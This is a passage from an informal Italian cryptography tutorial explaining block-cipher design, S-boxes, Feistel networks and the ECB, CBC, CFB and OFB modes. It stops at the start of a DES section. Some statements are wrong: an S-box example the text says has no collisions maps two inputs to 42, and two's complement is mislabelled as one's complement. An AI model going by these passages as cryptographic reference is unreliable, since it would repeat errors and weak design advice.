volte 10. Gli | | unici problemi che sarebbero destinati a resistere ancora per un po' | | sarebbero il Problema dello Zaino (Knapsack Problem) e, forse, le Curve | | Ellittiche. Esagerazioni, certo. Utopie. | | Ma intanto la possibilità c'è, e non va presa sotto gamba... | | | | Resta da analizzare ancora un altro aspetto: il rapporto dimensione | | chiave/dimensione blocco in chiaro. Abbiamo detto che in un cifrario a | | blocchi un blocco di "p"laintext di lunghezza

viene trasformato in | | un blocco di "c"yphertext di lunghezza (con p = c) usando una chiave | | di lunghezza ("k"ey). Sarebbe logico pensare che la dimensione della | | chiave debba essere uguale a quella del blocco, mentre invece nella | | maggior parte degli algoritmi la chiave è più grande (generalmente il | | doppio), perchè? | | | | già, perchè?! | | | | Innanzitutto notiamo subito una cosa: se la chiave fosse più piccola del | | blocco ci sarebbe lo stesso problema dei cifrari di permutazione, ovvero | | tutte le possibili chiavi sarebbero SEMPRE MENO di tutti i possibili | | messaggi (NOTA: è esattamente ciò che accade nel DES e nel LURIDO | | algoritmo A5, implementato nel sistema cellulare GSM, di cui tralaltro | | non sono disponibili i sorgenti...). Ciò significherebbe che uno studio | | di crittanalisi rivelerebbe alcuni messaggi NON PRODUCIBILI con NESSUNA | | chiave, abbiamo già detto che questi "buchi" nell'insieme dei possibili | | output rappresentano un prezioso aiuto per il crittanalista. | | | | appunto! La soluzione migliore dovrebbe essere | | una chiave grossa quanto il blocco da crittare! | | | | TEORICAMENTE sì, la cosa sarebbe sufficiente. Ma praticamente ci sono | | due buone ragioni per usare una chiave PIU' GRANDE del blocco: | | | | 1) è sempre possibile che per qualche minuscolo errore di progettazione | | possa verificarsi il fatto che due chiavi diverse crittino un blocco di | | testo nello stesso modo. Se le combinazioni chiave-messaggio sono 1:1, è | | logico che per ogni coppia di chiavi che si comporta in questo modo ci | | sarà un messaggio "fantasma" (cioè non producibile) nell'insieme dei | | possibili messaggi, cosa che abbiamo detto va evitata. | | Il fenomeno che si verifica quando due input diversi danno lo stesso | | output è noto col nome di COLLISIONE, e se l'ordine di grandezza del | | parametro che modifica gli abbinamenti (in questo caso la dimensione | | della chiave) è maggiore dell'ordine di grandezza dell'insieme di output | | (l'insieme dei possibili messaggi), è logico che ci sarà PER FORZA la | | possibilità che si verifichino un certo numero di collisioni, come | | accade negli algoritmi di hashing. | | | | 2) a volte avere una collisione è molto utile. Nel normale utilizzo di | | un cifrario a blocchi (modalità ECB, ne parleremo più avanti) la cosa | | sarebbe del tutto priva di interesse (anzi, dannosa poichè significa che | | potrebbe esserci più di una chiave per decrittare lo stesso blocco), ma | | la cosa comincia a diventare interessante nelle modalità di crittazione | | a concatenamento normalmente usate (CBC e CFB). In queste modalità | | particolari, i blocchi in cui viene diviso il messaggio vengono alterati | | tramite un algoritmo che usa come parametro il blocco precedente, in | | modo che i blocchi uguali vengono resi diversi a seconda della loro | | posizione all'interno del messaggio, così che il sapere che la chiave | | critta in maniera uguale blocchi uguali non è più di nessuna utilità al | | crittanalista, appunto perchè i blocchi uguali... non sono più uguali! | | Inoltre, se con una chiave errata si verifica una collisione al primo | | stadio con un certo blocco, QUEL particolare blocco verrà decrittato in | | maniera corretta, ma la possibilità che tale chiave si comporti in | | questo modo anche con un secondo blocco è praticamente nulla, quindi il | | resto del messaggio andrà a puttane! Se si verifica una qualche | | ABERRAZIONE STATISTICA e si ha una collisione anche col secondo blocco, | | anche questo verrà decrittato in maniera giusta, ma poi bisognerebbe | | vedere se la cosa si ripeterà anche col terzo blocco e così via... Già | | ottenere una collisione su un certo blocco con k = 2p è dell'ordine di | | 1/(2^p), la possibilità "P" di ottenerne una anche col secondo blocco va | | al quadrato: | | | | P = (1 / 2^p) ^2 = 1 / (2^(2p)) | | | | in generale, la possibilità di ottenere, con una chiave errata, un | | messaggio decrittato correttamente anche all'n-esimo blocco sarà: | | | | P = 1 / (2^(np)) | | | | sempre con k = 2p. Per p = 64 bit questa possibilità raggiunge valori | | talmente trascurabili che se ciò avesse un senso vi riderei in faccia, | | ma il senso non c'è, quindi andiamo avanti... =))) | | L'utilità di avere una collisione fino ad un certo numero di stadi (non | | troppi, sennò abbiamo in pratica scoperto un bel pezzo di messaggio) sta | | nel fatto che al crittanalista, con questo sistema, non basterà mai | | controllare solo il primo blocco per rendersi conto se ha azzeccato o no | | la chiave giusta, ma dovrà controllarsi tutto l'output ottenuto, | | rallentando il lavoro! Se poi fosse tanto idiota da illudersi di aver | | trovato la chiave solo perchè ha ottenuto dal primo blocco qualcosa di | | comprensibile, beh... peggio per lui e meglio per noi :) | | | | | | | | ================================== | | *** FUNZIONI COMUNEMENTE USATE *** | | ================================== | | | | Come avrete già avuto modo di capire da soli, qui tutto ruota attorno | | alla definizione di "funzione"; e visto che è una cosa estremamente | | importante sarà bene approfondire la cosa. | | Abbiamo già detto che una funzione è una relazione che mette in | | corrispondenza gli elementi di due insiemi: l'insieme di partenza e | | l'insieme di arrivo. Passando un elemento dell'insieme di partenza come | | parametro ad una funzione, essa restituirà in uscita uno ed un solo | | elemento tra quelli dell'insieme di arrivo. Tale elemento si dice | | IMMAGINE dell'elemento di partenza, tutti gli elementi di partenza | | devono avere un'immagine nell'insieme di arrivo, ma non tutti gli | | elementi dell'insieme di arrivo devono essere per forza immagine di | | qualcosa. L'insieme formato da tutti gli elementi dell'insieme d'arrivo | | che sono immagini di QUALCOSA si dice "INSIEME DELLE IMMAGINI", ed è un | | sottoinsieme dell'insieme d'arrivo. | | | | E' interessante notare alcune cose. | | | | Innanzitutto: l'insieme di partenza e quello di arrivo non devono per | | forza coincidere; prendiamo come esempio una funzione che prenda in | | entrata un numero pari e restituisca il numero dispari che viene dopo: | | | | INSIEME DI PARTENZA: 0 2 4 6 8 10 12 14 16 18 20... | | | | INSIEME D'ARRIVO: 1 3 5 7 9 11 13 15 17 19 21 ... | | | | Gli insiemi non combaciano. | | | | E ancora: non tutte le funzioni sono invertibili. Invertibile significa | | che se y = F(x), allora è possibile trovare una funzione inversa F' tale | | che x = F'(y). L'esempio più banale (e più inutile) è una funzione che, | | dato in ingresso un certo numero, restituisca sempre un valore fisso, | | non so... diciamo 0 =) ? Se io provo a invertire 0, che ne so da quale | | numero è stato generato? | | Esistono anche funzioni semi-invertibili, o parzialmente invertibili, | | cioè invertibili solo per determinati valori. Il tipico esempio è la | | funzione y = cos(x), che è invertibile solo per x compreso tra 0 e | | PiGreco, in quel caso la funzione inversa è y = arccos(x). Discorso | | analogo per tutte le funzioni periodiche. | | | | Chiariamo ora anche il concetto di funzione iniettiva, suriettiva e | | biettiva. | | | | Una funzione si dice INIETTIVA se tutti gli elementi dell'insieme di | | partenza hanno immagini differenti tra loro oppure, equivalentemente, se | | il numero degli elementi dell'insieme di partenza è uguale al numero | | delle immagini. Un matematico direbbe: | | | | UNA FUNZIONE F E' INIETTIVA SE, COMUNQUE PRENDO DUE ELEMENTI a E b | | APPARTENENTI ALL'INSIEME DI PARTENZA E TALI CHE a <> b, SI HA CHE F(a) | | <> F(b) | | | | Noi invece diremmo semplicemente che quando una funzione è iniettiva, | | non si verificano mai COLLISIONI. | | | | Una funzione si dice invece SURIETTIVA se l'insieme delle immagini | | coincide perfettamente con quello d'arrivo, se cioè ogni elemento | | dell'insieme d'arrivo è immagine di qualcosa. | | | | Una funzione può essere iniettiva ma non suriettiva e, viceversa, | | suriettiva ma non iniettiva. | | | | Se una funzione è sia iniettiva che suriettiva si dice BIETTIVA. | | | | Se una funzione è iniettiva, sarà sempre parzialmente invertibile. | | Se invece è biettiva, sara sempre invertibile per OGNI valore. | | | | E per finire una considerazione su un tipo particolare di funzioni. Non | | so se esiste un termine tecnico per indicarle, quindi io per ora le | | chiamerò FUNZIONI RIFLETTENTI. | | Una funzione RIFLETTENTE è una funzione che "si inverte da sola", tale | | cioè che essa stessa sia la sua inversa. Detto più specificatamente, | | intendo RIFLETTENTE una qualsiasi funzione F biettiva tale che, se F(x) | | = y, allora F(y) = x. L'esempio banale è l'operatore Not. | | | | Questa introduzione ci serve per affrontare le problematiche derivanti | | dalla scelta delle funzioni da applicare all'interno di ogni round, che | | sono la parte chiave della progettazione dell'algoritmo. | | | | | | | | [S-Box] | | | | Una S-Box (sta per "Sostitution Box") nonostante il nome non è affatto | | una cosa fisica, bensì una funzione che opera in questo modo: accetta in | | entrata un blocchetto di bit di lunghezza fissata (ed, eventualmente, un | | parametro extra sempre di lunghezza fissata), e restituisce in uscita un | | altro blocchetto di bit di lunghezza fissata, scelto tra un insieme di | | output interno alla S-Box. La cosa particolare è che la dimensione in | | bit dei blocchi in output è in genere diversa da quella degli input, e | | spesso anche maggiore! L'insieme dei possibili output è prefissato, | | apparantamente secondo criteri arbitrari, e il valore scelto dipende da | | vari fattori, quali il blocco in input, l'eventuale parametro e lo | | stadio di crittazione/decrittazione in cui ci si trova. Esempio: | | | | questa è una S-Box che accetta in entrata valori a 4 bit e restituisce | | valori a 6 bit. | | | | 00 -> 62 | | 01 -> 04 | | 02 -> 28 | | 03 -> 14 | | 04 -> 50 | | 05 -> 18 | | 06 -> 26 | | 07 -> 60 | | 08 -> 08 | | 09 -> 16 | | 10 -> 00 | | 11 -> 42 | | 12 -> 52 | | 13 -> 48 | | 14 -> 42 | | 15 -> 38 | | | | Notate come non si verificano collisioni. | | | | Ci sono varie modalità di utilizzo delle S-Box. | | L'idea alla base della prima modalità è una funzione di per sè | | iniettiva, ma con una particolarità: se gli output della prima S-Box | | vengono passati come input ad una seconda, e gli output di questa ad una | | terza e così via, formando una catena di alcune S-Box, si ottiene in | | pratica una funzione biettiva che si comporta in maniera riflettente a | | seconda che la si usi in crittazione o in decrittazione. Spiegare come | | ciò avvenga è al di fuori della mia portata :P . | | Così facendo si può inserire un input alla catena delle S-Box e, | | percorrendola in un verso, ottenere un certo output. Il bello ora è che | | è possibile riottenere il valore originale passando alla catena l'output | | ottenuto percorrendola non in verso opposto, ma NELLO STESSO VERSO DI | | PRIMA. | | Ciò ha interessanti vantaggi principalmente dal punto di vista della | | progettazione hardware. | | Si possono anche ottenere S-Box molto più semplici formate da una sola | | funzione, ma perchè ciò avvenga la funzione deve essere riflettente e | | input e output devono avere la stessa dimensione. In questo caso ogni | | funzione "inverte se stessa", ma un'eventuale catena deve essere | | percorsa in senso inverso in fase di decrittazione. | | In quest'ultima modalità resta comunque il vantaggio principale delle | | S-Box: ovvero cambiare in maniera assolutamente imprevedibile le | | sequenze di bit sia all'interno del messaggio sia nelle varie fasi di | | operazione. Ad esempio: se io ho un cyphertext costituito da una stringa | | NULL (tutti 0) e pure la chiave NULL, senza utilizzare le S-Box sarebbe | | estremamente difficile trovare un'algoritmo che non dia come cyphertext | | di nuovo una stringa NULL, l'unica soluzione sarebbe usare l'operatore | | Not solo su ALCUNI bit, ma abbiamo già detto che il Not è | | crittograficamente piuttosto debole. Inoltre bisognerebbe usare un | | algoritmo di permutazione per decidere quali bit invertire e quali no. | | | | | | | | [Permutazioni] | | | | Una funzione di permutazione si comporta in maniera simile ad un | | cifrario di permutazione, cioè "anagramma" i bit del messaggio. La | | differenza rispetto ad un cifrario vero e proprio è che invece di | | utilizzare una chiave per decidere l'ordine dei bit (cosa che abbiamo | | già visto essere di relativa utilità), questi sono anagrammati quasi | | sempre in maniera arbitraria, ad esempio il primo con l'ultimo, il | | secondo col terzo, il quarto col penultimo e così via. Tanto l'unica | | cosa a cui serve ciò è cambiare i bit dei valori che andranno poi in | | ingresso ad altre funzioni (tipo S-Box). | | | | | | | | [Sostituzioni] | | | | Si basano su funzioni iniettive tra input e output, praticamente come le | | S-Box di cui spesso sono sinonimi. | | | | | | | | [Espansioni e riduzioni] | | | | Queste funzioni prendono in ingresso un blocco di n bit, e danno in | | output un blocco di l bit. Se l > n, la funzione si chiama ESPANSIONE e | | tra i bit dell'output si possono ancora riconoscere i bit dell'input | | originale ma vengono aggiunti altri bit in posizioni variabili, in modo | | tale che il valore venga completamente stravolto. Se viceversa l < n, | | abbiamo una RIDUZIONE: si prende l'input e si eliminano alcuni dei suoi | | bit in modo da ottenere un nuovo valore. | | | | | | | | | | ================================== | | *** APPLICAZIONI NELLA PRATICA *** | | ================================== | | | | Ci sono solo un altro paio di cosette che bisogna sapere prima di andare | | ad analizzare gli algoritmi veri e propri. | | | | | | [Cifrari Feistel] | | | | I cifrari Feistel (Feistel Networks) sono una famiglia di cifrari a | | blocchi che hanno una struttura comune fissa, la quale varia poi per | | alcuni passaggi che cambiano da algoritmo ad algoritmo. Diciamo subito | | che la maggior parte dei cifrari simmetrici sicuri oggi in circolazione | | si avvalgono di questa "impalcatura". Il motivo per cui avviene ciò è | | che il sistema Feistel è ormai datato, quindi studiato a fondo e ben | | conosciuto in ogni suo aspetto, rendendo così più semplice e più | | oggettiva l'analisi di un cifrario allo scopo di determinare se è sicuro | | o no. Le linee guida generali dei cifrari Feistel sono queste (è | | abbastanza incasinato, quindi attaccate il cervello...): | | | | - L'algoritmo lavora per iterazioni (round), solitamente in un numero | | che è un esponenziale di 2 (tipo 8, 16 o 32), ma non per forza. In ogni | | round un blocco di plaintext di lunghezza p (dove p è sempre un numero | | pari, solitamente sempre esponenziale di 2) viene trasformato in un | | blocco di cyphertext della stessa lunghezza utilizzando una sottochiave | | di lunghezza x tramite un certo procedimento. | | | | - Le sottochiavi sono diverse per ciascun round e vengono generate | | algoritmicamente a partire dalla chiave scelta dall'utente di lunghezza | | k. | | | | - In ciascun round si svolgono le medesime operazioni, tutto ciò che | | cambia è solo la sottochiave e il blocco in input. | | | | - Il blocco di plaintext in ingresso viene spezzato in due metà, | | "D"estra e "S"inistra, di lunghezza p/2. | | | | - All'inizio di ogni round, la metà destra viene processata da una | | funzione F che lavora accettando come parametro la sottochiave di quel | | round, il risultato viene poi XORato con la metà sinistra di quello | | stesso round, e quel che ne esce diventa la metà destra del round | | successivo. | | | | - La metà destra dalla quale siamo partiti, inoltre, cambia di posto e | | diventa la metà sinistra del round successivo. | | | | - Si compie il procedimento per n round. | | | | - Alla fine le due metà di testo vengono riconcatenate per formare il | | cyphertext finale. | | | | Il procedimento di decrittazione è lo stesso, cambiano solo le metà in | | input ai vari round e l'ordine delle sottochiavi, che è invertito. | | Da qui possiamo anche capire un altro motivo per cui i blocchi di input | | in cui viene diviso il messaggio sono di solito di 64 bit: ogni metà | | sarà 32 bit, proprio la dimensione dei registri dei normali processori, | | quindi ogni operazione potrà essere svolta su un solo registro, | | velocizzando notevolmente il procedimento. | | Non è per forza vero, però, che maggiore è la dimensione dei blocchi in | | cui viene diviso il messaggio e più sicuro è l'algoritmo, eccetto per la | | modalità ECB. La velocità dell'algoritmo inoltre, dipende solo | | marginalmente dalla lunghezza della chiave, mentre dipende molto di più | | dal numero di iterazioni (cosa contraria alla maggior parte degli | | algoritmi asimmetrici, nei quali la velocità viene di molto influenzata | | dalla dimensione della chiave. | | Il nome di questi cifrari deriva dal ricercatore Horst Feistel dei | | laboratori IBM, il quale ne dettagliò per la prima volta il | | funzionamento nel 1973. | | | | e quindi, ricapitolando: | | | | plaintext = P | | lunghezza blocco plaintext = p | | cyphertext = C | | lunghezza blocco cyphertext = c | | chiave = K | | lunghezza chiave = k | | sottochiave = X | | lunghezza sottochiave = x | | numero iterazioni = n | | iterazione corrente = i | | metà destra = D | | metà sinistra = S | | | | STRUTTURA DI UN CIFRARIO FEISTEL: | | | | P[0] -> S[0] & D[0] | | S[1] = D[0] | | D[1] = F(D[0]) Xor S[0] | | ... | | D[i] = F(D[i-1]) Xor S[i-1] | | ... | | D[n] = F(D[n-1]) Xor S[n-1] | | S[n] & D[n] -> C | | | | Visto che sono buono (...) eccovi lo skemino :P | | | | | | PLAINTEXT CHIAVE ----> ALGORITMO DI | | / \ GENERAZIONE | | / \ | | | SINISTRA(0) DESTRA(0) ----> F <-- SUBKEY(0)<--| | | | / | | | | +--------/----> Xor <-------+ | | | / | | | | / | | | | / V | | | SINISTRA(1) DESTRA(1) ----> F <-- SUBKEY(1)<--| | | | / | | | | +--------/----> Xor <-------+ | | | / | | | | / | | | | / V | | | SINISTRA(2) DESTRA(2) ----> F <-- SUBKEY(2)<--| | | | / | | | | | | | | . . . | | | | | | / | | | / V | | SINISTRA(n) DESTRA(n) | | \ / | | \ / | | CYPHERTEXT | | | | | | | | | | [Proprietà degli algoritmi] | | | | Oltre a quelle già citate, un buon algoritmo dovrebbe avere le seguenti | | proprietà: | | | | - Resistenza a tutti i tipi di crittanalisi conosciute, incluse | | Crittanalisi Lineare e Differenziale. | | | | - Assenza di chiavi deboli o semi-deboli. | | | | - Strict Avalanche Criterion (SAC) | | Cioè "severo criterio di valanga", significa che l'alterazione di un | | solo bit nella chiave o nell'input deve provocare un output in cui | | siano sbagliati almeno la metà dei bit. Questa proprietà è molto | | importante nelle funzioni di hashing crittografiche. | | | | - Bilanciamento 0-1 | | Cioè statisticamente l'output sarà di tanti 0 quanti 1. | | | | Ce ne sono anche altre, quali il Bit Indipendence Criterion (BIC), la | | non-linearità, l'alta Distanza Hamming, l'esprimibilità in ANF | | (Algebraic Normal Forms) etc, ma per la maggior parte servirebbe | | una buona documentazione, e comunque servono più che altro per le | | funzioni di hashing (per questo avevo detto che l'argomento è piuttosto | | vasto...), quindi le lasciamo perdere per ora. | | | | | | | | | | [Modes of operation] | | | | Ci sono varie modalità di operazione con cui può funzionare un cifrario | | a blocchi, le principali sono la ECB, CBC, CFB e OFB. | | | | | | - ECB (Electronic Code Book mode) | | | | E' il sistema più semplice e più insicuro: l'algoritmo spezzetta il | | plaintext in blocchi (col sistema che abbiamo visto), e critta ogni | | blocco con la stessa chiave. La grossa insicurezza sta nel fatto, come | | abbiamo già detto, che blocchi uguali vengono crittati in maniera | | uguale. Il nome deriva dal fatto che, a causa di ciò, sarebbe | | teoricamente possibile realizzare un "dizionario" per una certa chiave, | | il quale riporti le combinazioni input -> output per ogni blocco di | | plaintext. | | | | | | | | - CBC (Cipher Block Chaining mode) | | | | La chiave resta sempre la stessa per tutti i blocchi, ma dopo aver | | crittato il primo blocco con quella chiave, si effettua uno Xor tra il | | blocco di cyphertext ottenuto (il primo) e il successivo blocco di | | plaintext, quindi si critta anche questo con la stessa chiave. Poi si | | effettua uno Xor tra il nuovo blocco di cyphertext ottenuto (il secondo) | | e il successivo blocco di plaintext, si critta di nuovo e così via... In | | questo modo si ottengono due vantaggi: il primo è che blocchi uguali | | vengono crittati in maniera diversa, il secondo è che se una chiave | | sbagliata produce una collisione (decritta correttamente) con un certo | | blocco, è quasi impossibile che si comporti così anche con un altro | | blocco (secondo lo studio probabilistico precedentemente fatto), con | | tutti i vantaggi che ciò comporta. Il nome deriva appunto dal fatto che | | ogni blocco di plaintext è "incatenato" tramite Xor col cyphertext | | precedente: questo produce un cosiddetto effetto di "estensione | | d'errore", grazie soprattutto al SAC ma anche al fatto che l'output | | dipende dal plaintext, il che significa che se si verifica un | | piccolissimo errore al primo stadio il resto del messaggio va a puttane! | | C'è un leggero rallentamento della velocità del processo, dovuto | | all'operazione di Xor in più ad ogni stadio, ma è praticamente | | irrilevante (gli operatori logici sono tra le operazioni più veloci che | | una CPU riesce ad effettuare, non a caso per azzerare un registro, | | diciamo AX, si preferisce usare "Xor AX, AX" invece che "Mov AX, 0"). Il | | vero bug è un altro: messaggi che iniziano allo stesso modo e vengono | | crittati con la stessa chiave produrrano un output in cui i primi | | blocchi saranno uguali. Sembra una pignoleria, ma a volte può risultare | | poco desiderabile. Comunque c'è un sistema piuttosto ingegnoso per | | risolvere il problema, che fa del CBC una delle modalità più sicure, | | questo metodo fa uso delle funzioni di hashing: | | | | Immaginate di voler programmare una routine di crittazione DES che | | lavori in modalità CBC: dopo aver segmentato il messaggio dovrete | | costruire un algoritmo iterativo, un "loop while" che processa i blocchi | | finchè ce ne sono. Ma per realizzare la modalità CBC, prima di crittare | | il blocco dovrete XORarlo coll'output precedente, quindi vi troverete di | | fronte a un problema al primo blocco: non c'è nessun output precedente a | | questo! Per aggirare il problema potete intraprendere due strade. La | | prima soluzione consiste nel crittare tramite DES il primo blocco PRIMA | | di entrare nel loop, a questo punto cominciate la modalità CBC vera e | | propria dal secondo blocco in poi potendo ormai disporre di un output | | iniziale da cui partire. Questo metodo è il più elementare e il più | | brutto, poichè produce un codice più lungo e inoltre presenta il | | problema già accennato dei messaggi che iniziano allo stesso modo. | | | | La seconda strategia consiste nel dichiarare, prima del loop, un | | "VETTORE D'INIZIALIZZAZIONE" (Inizialization Vector, IV) cioè un blocco | | "artificiale", normalmente costituito da una stringa NULL, facendo finta | | che sia l'output ottenuto da un fantomatico "primissimo blocco". A | | questo punto, entrando nel loop, verrà eseguito prima uno Xor tra il | | primo blocco e l'IV (che visto che è una stringa NULL non porterà a | | nessuna variazione) e poi comincerà la crittazione vera e propria. | | | | ma sei un coglione! Così facendo non fai | | altro che fare un'iterazione in più ottenendo | | lo stesso identico risultato! | | | | Sembrerebbe così, l'output non cambia e inoltre si spreca un poco di | | spazio in più per memorizzare l'IV e un po' di tempo per realizzare uno | | Xor inutile, la cosa potrebbe sembrare idiota. In effetti finora l'unico | | vantaggio che otteniamo è che il codice prodotto manca di istruzioni | | fuori dal loop (c'è solo l'inizializzazione dell'IV) e quindi risulta | | più compatto. E' un po' la differenza che c'è tra codice in linea e | | codice ricorsivo: bisogna vedere se vi interessa di più la velocità o la | | compattezza. Ma c'è comunque il problema dei messaggi che iniziano allo | | stesso modo. | | E allora ecco la cosa interesante: e se non utilizzassimo una stringa | | NULL come IV? In particolare, se utilizzassimo come IV un valore che | | dipende DA TUTTO il messaggio? | | La trovata geniale è questa: utilizzare come IV l'HASH STESSO del | | messaggio! Come vi ho già accennato, una buona funzione hashing deve | | possedere il SAC, quindi anche se due messaggi cominciano allo stesso | | modo avranno un hash completamente diverso! Cambiando così il primo | | valore in ingresso al loop cambierà l'intero messaggio! :) | | | | tre osservazioni... | | 1) questo significa che per ogni messaggio che | | voglio crittare devo calcolarmi anche l'hash. | | Come la metti col tempo d'esecuzione? | | 2) per decrittare il cyphertext mi serve l'hash | | del messaggio originale, come faccio a trovare | | l'hash se c'ho solo il file crittato? | | 3) le funzioni di hashing producono normalmente | | checksum di 128 - 160 bit, mentre algoritmi | | tipo il DES accettano in entrata blocchi | | normalmente da 64 bit. Come lo faccio stò Xor? | | | | Le prime due domande hanno una risposta comune: normalmente (in | | applicazioni tipo PGP) l'hash dovete calcolarvelo ugualmente perchè va | | allegato in chiaro al messaggio per verificare eventuali errori di | | trasmissione, se avete azzeccato o no la passphrase, eventuali firme | | digitali etc (analizzeremo in seguito il funzionamento del PGP), quindi | | tanto vale sfruttarlo il più possibile no? Per quanto riguarda la terza | | osservazione... beh, banale! Basta spezzettare l'hash in blocchi di | | lunghezza p (accettati dall'algoritmo) e XORarli tra di loro, no? :PPP | | Da ricordare comunque che tutti questi problemi si pongono soltanto se | | usate la stessa chiave per più messaggi. | | Da notare la seguente cosa: in modalità di decrittazione dovrete | | prendere l'hash del messaggio e crittarlo con la chiave giusta per | | ottenere l'IV (in realtà potete anche velocizzare il tutto accodando | | l'IV al messaggio, dipende sempre se vi interessa di più avere quei 64 | | bit o giù di lì di dimensione in meno oppure di effettuare un ciclo di | | decrittazione in meno). Poi dovete prendere il primo blocco di | | cyphertext, decrittarlo, e quindi XORarlo coll'IV. Poi prendete il | | secondo cyphertext, lo decrittate e lo XORate col primo plaintext, | | etc... questo significa che per decrittare un messaggio dovete | | effettivamente far lavorare l'algoritmo in modalità decrypt... | | | | Embè? | | | | Eheheh... continuate a leggere ;) | | | | | | | | - CFB (Cipher Feed Back mode) | | | | Praticamente l'opposto del CBC: prima si critta e poi si XORa. Si prende | | l'IV e si critta, quindi si utilizza l'output ottenuto per XORare il | | primo blocco di plaintext ottenendo il primo blocco di cyphertext. Poi | | si critta questo primo blocco di cyphertext e si usa il blocco ottenuto | | per XORare il secondo blocco di plaintext ottenendo il secondo | | cyphertext, e così via. In pratica qui l'algoritmo di crittazione vero e | | proprio non è il cifrario scelto, bensì lo XOR, il cifrario serve invece | | a generare pacchetti di bit pseudorandom da usare per lo XOR. Anche qui | | c'è l'Estensione d'Errore e si può usare l'hash del messaggio come IV in | | modo da evitare il problema dei messaggi che iniziano allo stesso modo | | con la stessa chiave. Il nome deriva appunto dal fatto che ogni blocco | | di cyphertext è "reindirizzato all'indietro" (fed back) all'algoritmo di | | crittazione per produrre un nuovo blocco di bit pseudocasuali. | | | | E qui troviamo una cosa MOOOLTO interessante. Nella decrittazione del | | messaggio dovremo fare questo: leggiamo l'hash e lo crittiamo con la | | chiave giusta (oppure lo leggiamo direttamente crittato, come detto | | prima dipende dalla scelta fatta), poi XORiamo questo hash crittato col | | primo cyphertext ed otteniamo DIRETTAMENTE il primo plaintext. A questo | | punto non facciamo altro che crittare col nostro cifrario il primo | | blocco di cyphertext che avevamo e XORare il risultato col secondo | | cyphertext per ottenere il secondo plaintext. Poi crittiamo il secondo | | cyphertext che avevamo e XORiamo il risultato col terzo cyphertext | | ottenendo il terzo plaintext, e così via. Notate nulla di strano? Pur | | decrittando un dato messaggio, L'ALGORITMO NON LAVORA MAI EFFETTIVAMENTE | | IN MODALITA' DECRYPT! Cioè noi stiamo in pratica decrittando un | | messaggio utilizzando l'algoritmo SOLO in crittazione, a differenza di | | quanto avveniva nella modalità CBC! Questo perchè, come avevamo già | | detto, qui l'algoritmo di crittazione vero e proprio non è il cifrario | | scelto bensì lo Xor, il cifrario ci serve solo e soltanto per generare | | la stessa identica sequenza di bit pseudocasuali usati in crittazione, | | ma per ottenere questo non c'è bisogno di utilizzare il cifrario in | | modalità decrypt! | | | | Questo implica una seconda cosa interessante: NELLA MODALITA' CFB | | L'ALGORITMO NON DEVE PER FORZA ESSERE TWO-WAY! Ovvero, lavorando solo in | | | | crittazione si potrebbe tranquillamente pensare di utilizzare un | | algoritmo one-way, magari proprio una funzione hash particolare. In | | effetti esiste una particolare classe di funzioni hashing crittografiche | | denominate "KEYED HASH FUNCTIONS", ovvero "funzioni hash a chiave", che | | lavorano a blocchi ed hanno la singolarità di richiedere una chiave per | | restituire un certo checksum, a seconda della chiave fornita daranno un | | valore hash diverso. Inoltre l'hash dato è normalmente della stessa | | dimensione dei blocchi in input, permettendo così di generare la | | sequenza di blocchi pseudorandom voluta. C'è anche il vantaggio di non | | dover realizzare due procedure in programmazione (una di crittazione ed | | una di decrittazione) e di poter lavorare tranquillamente anche con | | funzioni non invertibili. | | Da sapere che il PGP utilizza in effetti questa modalità, che secondo me | | è la migliore per le possibilità che offre. | | | | | | | | - OFB (Output Feed Back mode) | | | | Questa modalità è poco usata, viene applicata principalmente a quei | | cifrari che non godono del Severo Criterio di Valanga. In questo tipo di | | concatenamento gli errori nel cyphertext non si estendono al resto del | | messaggio (non c'è Estensione d'Errore): un bit sballato in input causa | | normalmente un bit sbagliato in output. Di conseguenza questa modalità | | non può venire usata per l'autenticazione dei messaggi, ma può risultare | | utile in quelle applicazioni dove un certo livello d'errore nel | | plaintext decrittato è accettabile. | | Il procedimento è molto simile al CFB, il nome deriva dal fatto che | | l'output ottenuto dal cifrario viene direttamente feed-backato come | | nuovo input nel round successivo, senza venire XORato col plaintext, al | | massimo viene rotato di qualche bit (in genere ROLlato). In pratica: | | prendo l'IV e lo critto, l'output ottenuto lo XORo col plaintext per | | ottenere il cyphertext, poi (sempre lo stesso output) lo ROLlo di tot | | posizioni e lo critto di nuovo, l'output ottenuto lo XORo col secondo | | plaintext per ottenere il secondo cyphertext e così via. Questo feedback | | è del tutto indipendente da plaintext e cyphertext, di conseguenza se | | non c'è il SAC non c'è nemmeno estensione d'errore. Come nella CFB, | | anche qui è in pratica lo Xor a crittare, quindi si possono utilizzare | | funzioni one-way. | | | | | | | | Ed ora vediamo il funziamento di alcuni algoritmi: analizzeremo a fondo | | i tre algoritmi simmetrici più usati, cioè il DES, l'IDEA e il CAST, e | | poi daremo un rapido sguardo anche ad altri quali il Blowfish, l'AES, | | l'RCx etc... | | | | | | | | | | ================== | | *** SIMBOLOGIA *** | | ================== | | In questo capitolo aggiungerò gli operatori logici al sistema grafico, | | per rendere più leggibili gli algoritmi e le operazioni, nel fare ciò mi | | discosterò dalla notazione matematica vera e propria, utilizzando | | simboli derivati più che altro dall'informatica (in particolare dal C, | | che suppongo vi sia più familiare :P ): | | | | Il simbolo (+) indica addizione modulare. | | Il simbolo (-) indica sottrazione modulare (se si va sottozero si | | "ricomincia il giro"). | | Il simbolo ! indicherà l'operatore Not se precede un valore o una | | variabile, mentre se la segue indica il fattoriale, es: | | | | !0 = 1 | | 3! = 6 | | | | Il simbolo !! indica l'inversione, cioè un operatore Not che va | | applicato a TUTTI i bit del valore, es: | | | | !!13 = !!(1101) = 0010 = 2 | | | | Il simbolo ~ , se applicato davanti ad un valore, indica il complemento | | a 1, ovvero un'inversione più l'addizione del valore 1, es: | | | | ~13 = ~(1101) = !!(1101) + 1 = 0010 + 1 = 0011 | | | | e in aritmetica modulare equivale all'inverso di un numero rispetto | | all'addizione, cioè al numero negativo (meno unario): A (+) ~A = 0, | | es. in un blocco a 4 bit: | | | | 13 (+) ~13 = 1101 (+) 0011 = 10000 (Mod 2^4) = 0000 | | | | Il simbolo != significa "diverso", è quasi sempre equivalente a <> | | Il simbolo ~= indica "circa uguale a:" | | Il simbolo && indicherà l'operatore And. | | Il simbolo || indicherà l'operatore Or. | | Il simbolo ^^ indicherà l'operatore Xor. | | Il simbolo << indica lo SHL, il simbolo >> indica lo SHR. | | Il simbolo <<< indica il ROL, il simbolo >>> indica il ROR. | | Il simbolo % indica il Mod. | | | | | | | | | | =========== | | *** DES *** | | =========== | | | | Pur essendo vecchiotto, il DES è a tuttoggi lo standard indiscusso nel | | campo della crittografia simmetrica, anche se ciò non deve affatto far | | pensare che sia più sicuro di 